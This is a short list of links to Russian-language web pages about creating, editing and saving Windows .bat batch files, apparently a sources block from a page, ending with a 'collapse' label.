  • https://KTexnika.ru/obzory/bat-fajl-komandy.html
  • https://prom-progress.ru/obzory/kak-sozdat-bat-fajl.html
  • https://tankistka.ru/kak-sohranit-dokument-v-formate-bat/
  • https://rsbset.ru/kak-sohranit-dokument-v-formate-bat/
  • https://gresgroup.ru/kak-sohranit-dokument-v-formate-bat/
  • https://wind10.ru/nastrojki/kak-sozdat-bat-fajl-v-windows-7-10-redaktiruem-i-sohranyaem-batnik
  • https://gadgetshelp.com/windows/kak-sozdat-paketnyi-fail-bat-za-piat-prostykh-shagov/
  • https://HuaweiNews.ru/gadzhety-obzory/bat-fajl.html

[свернуть]